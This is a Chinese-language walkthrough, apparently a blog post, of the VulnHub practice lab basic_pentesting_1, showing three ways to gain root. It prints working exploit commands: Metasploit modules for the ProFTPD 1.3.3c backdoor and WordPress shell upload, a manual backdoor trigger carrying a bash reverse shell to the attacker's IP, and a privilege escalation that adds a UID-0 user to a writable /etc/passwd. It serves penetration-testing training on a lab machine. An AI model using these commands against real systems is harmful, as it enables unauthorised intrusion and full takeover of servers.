basic_pentesting_1靶场全攻略

basic_pentesting_1 是 VulnHub 平台上的经典入门级渗透测试靶场,由 Josiah Pierce 开发。该靶场模拟了真实网络环境中的常见漏洞场景,非常适合刚接触渗透测试的新手练习完整的攻击链:从信息收集、漏洞利用到权限提升。

本文将介绍三种完全不同的通关方法,从最快的一键通关,到常规的 Web 渗透流程,再到纯手动的无工具漏洞利用,满足不同的学习需求。


前置准备:通用信息收集

无论使用哪种通关方法,首先都需要完成基础的信息收集步骤,定位靶机并梳理开放的服务。

1. 环境准备

  • 首先从 VulnHub 官方页面 下载靶场镜像

  • 将镜像导入到 VMware 或 VirtualBox 中,启动靶机

  • 确保攻击机(如 Kali Linux)与靶机处于同一网络段

2. 定位靶机 IP

靶机启动后,我们需要先找到它的 IP 地址。使用 netdiscover 工具扫描局域网存活主机:

复制代码
netdiscover -i eth0 -r 192.168.56.0/24

扫描完成后,即可找到新增的靶机 IP,本文示例中靶机 IP 为 192.168.56.103,你的实际 IP 可能不同。

3. 端口与服务扫描

接下来使用 Nmap 扫描靶机的开放端口和服务版本:

复制代码
nmap -sV 192.168.56.103

扫描结果显示,靶机开放了三个核心端口:

端口 服务 版本
21/tcp FTP ProFTPD 1.3.3c
22/tcp SSH OpenSSH 7.2p2 Ubuntu
80/tcp HTTP Apache httpd 2.4.18

完成这一步后,我们就可以根据不同的漏洞点,选择不同的通关路径了。


方法一:最快通关 ------ProFTPD 后门一键 GetRoot

这是整个靶场最快的通关方法,仅需几分钟即可直接获取 root 权限,适合想要快速完成靶场的用户。

漏洞原理

ProFTPD 1.3.3c 版本存在一个著名的后门漏洞:该版本在编译时被恶意植入了后门代码,攻击者只需向 FTP 服务发送特定格式的命令,即可直接以 root 权限执行任意系统命令。

操作步骤

  1. 启动 Metasploit 框架:
复制代码
msfconsole
  1. 搜索对应的漏洞利用模块:
复制代码
search ProFTPD 1.3.3c
  1. 加载对应的 exploit 模块:
复制代码
use exploit/unix/ftp/proftpd_133c_backdoor
  1. 配置攻击参数:
复制代码
# 设置靶机 IP
set RHOSTS 192.168.56.103
# 设置攻击机 IP(用于反弹 Shell)
set LHOST 192.168.56.1
# 设置反弹 Shell 载荷
set payload cmd/unix/reverse
  1. 执行漏洞利用:
复制代码
run

执行完成后,你会直接获得一个 root 权限的会话!整个过程不到 1 分钟,无需任何提权操作。

方法评价

  • 优点:速度极快,操作简单,一键通关

  • 缺点:依赖 Metasploit 自动化工具,没有练习到完整的渗透流程


方法二:常规 Web 渗透 ------WordPress 后台提权

这是最符合常规渗透测试流程的方法,从 Web 入口出发,完整经历信息收集、身份认证、漏洞利用、权限提升的全流程,非常适合新手学习标准的渗透测试步骤。

操作步骤

  1. Web 目录爆破 首先对 80 端口的 Web 服务进行目录爆破,寻找隐藏的路径:
复制代码
dirb http://192.168.56.103

扫描结果显示,存在一个隐藏的 /secret 目录。

  1. 域名绑定修复 访问 http://192.168.56.103/secret 时,会发现页面链接异常,所有链接都指向了 vtcsec 这个域名。这是因为 WordPress 的站点配置使用了域名而非 IP,我们需要修改本地 hosts 文件来解析这个域名:
复制代码
echo "192.168.56.103 vtcsec" >> /etc/hosts
  1. 访问 WordPress 站点 修改完成后,重新访问 http://vtcsec/secret,即可看到完整的 WordPress 博客页面。
  1. 后台弱口令登录 访问后台登录页面:http://vtcsec/secret/wp-login.php,尝试默认弱口令 admin:admin,直接登录成功!
  1. 上传恶意插件获取 Shell 拥有后台管理员权限后,我们可以通过 Metasploit 的模块自动上传恶意插件,获取远程 Shell:
复制代码
msfconsole
search wp_admin_shell_upload
use exploit/unix/webapp/wp_admin_shell_upload

配置模块参数:

复制代码
set RHOSTS 192.168.56.103
set TARGETURI /secret
set USERNAME admin
set PASSWORD admin
set LHOST 192.168.56.1

执行 exploit 后,即可获得一个 www-data 权限的会话。

  1. 权限提升:修改 passwd 文件 获得 Web Shell 后,我们发现靶机存在一个严重的配置错误:/etc/passwd 文件是全局可写的!这意味着我们可以直接修改用户文件,添加一个 root 用户。

操作步骤:

  1. 下载靶机的 /etc/passwd 文件到本地:
复制代码
download /etc/passwd ./passwd
  1. 生成密码哈希,比如我们要设置新用户的密码为 newroot
复制代码
openssl passwd -1 newroot

这会生成一个 MD5 格式的密码哈希,例如 $1$iE0btf0c$pbJNv7hPOGSmeTE1tKepM/

  1. 编辑本地的 passwd 文件,在末尾添加一行新的 root 用户:
复制代码
newroot:$1$iE0btf0c$pbJNv7hPOGSmeTE1tKepM/:0:0:root:/root:/bin/bash

这一行的含义是:创建一个名为 newroot 的用户,UID 和 GID 都是 0(也就是 root 权限),家目录是 /root,登录 Shell 是 bash。

  1. 将修改后的 passwd 文件上传回靶机:
复制代码
upload ./passwd /etc/passwd
  1. 切换到交互 Shell,切换到新的 root 用户:
复制代码
shell
python -c 'import pty; pty.spawn("/bin/bash")'
su newroot

输入密码 newroot,即可成功切换到 root 权限!

方法评价

  • 优点:完整覆盖了常规渗透测试的全流程,从信息收集到提权,非常适合新手学习

  • 缺点:部分步骤依赖 Metasploit 自动化模块


方法三:纯手动无 Metasploit 通关 ------ 不依赖自动化工具

如果你不想使用 Metasploit 这类自动化工具,想要纯手动完成漏洞利用,理解漏洞的本质原理,那么这个方法非常适合你。

我们这里以手动利用 ProFTPD 后门为例,完全不用任何自动化工具,仅用基础的命令行工具即可完成通关。

漏洞原理

ProFTPD 1.3.3c 的后门原理非常简单:当 FTP 服务收到 HELP 命令时,会将命令后面的内容直接作为系统命令执行,而且执行的权限就是 root!

操作步骤

  1. 开启本地端口监听 首先,在攻击机上开启一个端口,用来接收靶机反弹回来的 Shell,使用 nc 工具即可:
复制代码
nc -lvnp 9999

这个命令会监听本地的 9999 端口,等待连接。

  1. 连接 FTP 服务并触发后门 打开另一个终端,使用 telnet 连接到靶机的 21 端口:
复制代码
telnet 192.168.56.103 21

连接成功后,输入以下命令:

复制代码
HELP ;bash -i >& /dev/tcp/192.168.56.1/9999 0>&1

这个命令的含义是:

  • HELP:触发后门的触发词

  • ;:命令分隔符,让后门把后面的内容当成系统命令执行

  • bash -i >& /dev/tcp/你的IP/9999 0>&1:标准的 Bash 反弹 Shell 命令,将靶机的 Bash 交互界面反弹到你的攻击机的 9999 端口

  1. 获取 Root Shell 输入命令回车后,回到你的 nc 监听终端,你会发现已经成功收到了连接,而且直接就是 root 权限的 Shell!

整个过程没有用到任何自动化工具,仅用了系统自带的 telnetnc 两个基础工具,就完成了漏洞利用。

扩展:手动 Web 路径

当然,你也可以选择纯手动走 Web 路径:不用 Metasploit,自己写一个 PHP 一句话木马,打包成 ZIP 插件,然后在 WordPress 后台手动上传,然后访问木马地址拿到 Shell,之后再手动修改 /etc/passwd 提权,整个过程同样完全不用 Metasploit,适合练习手动 Web 渗透的技巧。

方法评价

  • 优点:完全不依赖自动化工具,深入理解漏洞的本质原理,锻炼手动渗透的能力

  • 缺点:需要理解漏洞原理和反弹 Shell 的相关知识,对新手有一定门槛


总结

basic_pentesting_1 作为一个入门级靶场,设计得非常巧妙:它提供了多个完全不同的漏洞利用路径,新手可以根据自己的学习阶段选择不同的通关方法:

  • 如果你只是想快速通关,试试方法一的一键后门利用

  • 如果你想学习标准的渗透测试流程,试试方法二的完整 Web 渗透

  • 如果你想深入理解漏洞原理,锻炼手动能力,试试方法三的纯手动利用

通过这个靶场,你可以学习到信息收集、FTP 漏洞利用、WordPress 渗透、权限提升等多个基础的渗透测试技能,是新手入门的绝佳练习靶场。

相关推荐
vortex51 小时前
在 Yakit 浏览器中添加本地插件的两种方法
网络安全·yakit
m0_738120722 小时前
渗透测试基础——一文详解CORS跨域劫持漏洞原理与利用
服务器·网络·安全·web安全·网络安全
持敬chijing13 小时前
Web渗透之SQL注入-文件读写-木马植入
sql·安全·web安全·网络安全·安全威胁分析
持敬chijing14 小时前
Web渗透之SQL注入-联合查询注入-注入点数据类型判断
前端·sql·安全·web安全·网络安全·安全威胁分析
藤原千花的败北14 小时前
内网安全--基础知识
安全·网络安全
大方子18 小时前
【PolarCTF】button
网络安全·polarctf
菩提小狗21 小时前
每日安全情报报告 · 2026-06-04
网络安全·漏洞·cve·安全情报·每日安全
梦里捡到一只猫丶1 天前
简单的Payload加密方法
笔记·网络安全
憧憬成为web高手1 天前
[0CTF 2016]piapiapia 脚本和总结
web安全·网络安全